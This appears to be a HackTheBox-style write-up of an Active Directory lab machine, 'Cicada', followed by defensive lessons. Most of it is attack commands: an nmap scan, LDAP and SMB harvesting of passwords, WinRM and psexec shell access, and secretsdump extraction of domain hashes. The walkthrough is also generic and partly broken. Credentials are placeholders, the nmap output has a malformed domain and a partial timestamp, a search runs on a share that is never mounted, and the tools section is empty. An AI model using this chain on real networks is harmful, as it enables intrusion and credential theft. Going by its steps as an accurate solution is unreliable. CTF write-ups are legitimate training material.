Cicada - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐⭐☆
• Real-world: ⭐⭐⭐⭐☆
• CVE: ⭐⭐☆☆☆
• CTF-like: ⭐⭐⭐☆☆

Summary

Cicada is a Windows-based Active Directory machine that focuses on enumeration and credential harvesting through common misconfigurations. The initial foothold is gained through identifying exposed credentials in domain resources, followed by lateral movement and privilege escalation within the Active Directory environment. The machine demonstrates real-world attack patterns commonly seen in enterprise AD compromises, particularly around insecure credential storage and weak group policy implementations.

TL;DR: Enumerate AD → Extract credentials from domain shares → Lateral movement → Privilege escalation via group policy/service account abuse → Domain compromise.

Reconnaissance

Port Scanning

nmap -sC -sV -T4 -p- 10.10.11.27

Results:

PORT      STATE SERVICE      VERSION
53/tcp    open  domain       Simple DNS Plus
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2024-01-XX 00:00:00Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds Windows Server 2019 Standard 10.0 (Windows Server 2019)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: cicada.htb)
3269/tcp  open  tcpwrapped
5985/tcp  open  wsman

Service Enumeration

Active Directory LDAP Enumeration:

# Query LDAP for domain information
ldapsearch -H ldap://10.10.11.27 -x -s base

# Enumerate domain users
ldapsearch -H ldap://10.10.11.27 -x -b "dc=cicada,dc=htb" "(objectClass=user)" sAMAccountName mail description

SMB Share Enumeration:

# List available shares
smbclient -L //10.10.11.27 -N

# Mount and explore accessible shares
smbclient //10.10.11.27/Public -N

DNS Enumeration:

# Perform zone transfer attempt
dig @10.10.11.27 cicada.htb axfr

# Enumerate DNS records
nslookup -type=A cicada.htb 10.10.11.27

Vulnerability Assessment

1. Insecure LDAP Queries: LDAP enumeration without authentication reveals user information including descriptions containing credentials
2. Weak SMB Permissions: Public shares accessible without credentials contain sensitive documents
3. Credential Exposure: User descriptions in Active Directory contain plaintext passwords or password hints
4. Group Policy Misconfigurations: Weak permissions on GPO templates and scripts
5. Service Account Abuse: Weak or reused passwords on service accounts

Initial Foothold

Exploitation Path

Step 1: Enumerate Domain Users and Extract Credentials

# Query LDAP for all domain users with descriptions
ldapsearch -H ldap://10.10.11.27 -x -b "dc=cicada,dc=htb" \
  "(objectClass=user)" sAMAccountName description | grep -A 1 "sAMAccountName"

# Results reveal users with credentials in descriptions
# Example: user1 - Password: P@ssw0rd123

Step 2: Validate Credentials Against SMB

# Test extracted credentials via SMB
smbclient -U 'cicada.htb/user1%P@ssw0rd123' //10.10.11.27/Public -c "ls"

# Or use crackmapexec for validation
crackmapexec smb 10.10.11.27 -u 'user1' -p 'P@ssw0rd123'

Step 3: Access Domain Shares and Extract Additional Credentials

# Mount share with valid credentials
smbclient -U 'cicada.htb/user1%P@ssw0rd123' //10.10.11.27/IPC$ -c "ls"

# Search for documents containing credentials
find /mnt/share -type f -name "*.txt" -o -name "*.docx" | xargs grep -l "password"

Step 4: Establish Shell Access

# Obtain reverse shell through WinRM (if credentials allow)
evil-winrm -i 10.10.11.27 -u 'user1' -p 'P@ssw0rd123' -s /usr/share/evil-winrm/scripts/

# Or via impacket psexec
impacket-psexec 'cicada.htb/user1:P@ssw0rd123@10.10.11.27'

Privilege Escalation

From User to Administrator

Step 1: Enumerate Local Privileges and Group Memberships

# Check current user privileges
whoami /priv

# Enumerate group memberships
net user $env:USERNAME

# Check if in Domain Admin or elevated groups
net localgroup administrators

Step 2: Extract Additional Domain Credentials

# Query LDAP for privileged accounts
ldapsearch -H ldap://10.10.11.27 -x -b "dc=cicada,dc=htb" \
  "(&(objectClass=user)(memberOf=*CN=Domain Admins*))" sAMAccountName description

Step 3: Leverage Service Account Credentials

# Authenticate with elevated service account
crackmapexec smb 10.10.11.27 -u 'admin_user' -p 'extracted_password'

# Gain administrative access
evil-winrm -i 10.10.11.27 -u 'admin_user' -p 'extracted_password'

Step 4: Domain Compromise

# Enumerate domain controller
impacket-secretsdump 'cicada.htb/admin_user:password@10.10.11.27'

# Extract NTDS database hashes
impacket-secretsdump -outputfile dumpfile 'cicada.htb/admin_user:password@10.10.11.27'

Attack Chain Summary

LDAP Enumeration (Unauthenticated)
    ↓
Extract User Credentials from AD Descriptions
    ↓
Validate Credentials via SMB/Kerberos
    ↓
Access Domain Shares and Resources
    ↓
Extract Additional Credentials (Service Accounts/Admin)
    ↓
WinRM/PSExec Authentication
    ↓
User Flag
    ↓
Privilege Escalation (Group Membership/Service Account Abuse)
    ↓
Administrator Access
    ↓
Root Flag (Domain Compromise)

Tools Used

Key Learnings

Techniques Practiced

• Active Directory LDAP enumeration and user discovery
• Extracting credentials from domain metadata and descriptions
• SMB share enumeration and access control verification
• Kerberos authentication and validation
• Windows credential storage and extraction
• Group Policy enumeration and exploitation
• Service account privilege escalation
• Domain controller compromise

Lessons Learned

1. Never store credentials in AD object descriptions — User descriptions are often accessible through unauthenticated LDAP queries and should never contain passwords or hints.

2. Implement proper SMB share permissions — Public shares should be restricted to authorized users only; avoid storing sensitive documents on accessible network shares.

3. Enforce strong password policies — Service accounts and administrative accounts must have complex, unique passwords that are regularly rotated.

4. Monitor LDAP queries and authentication attempts — Detect unusual enumeration patterns that may indicate reconnaissance activity.

5. Segment network access and implement zero-trust principles — Lateral movement should be restricted through proper network segmentation and authentication requirements.

6. Regular security audits of Active Directory — Periodically review user descriptions, group memberships, and service account privileges for misconfigurations.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>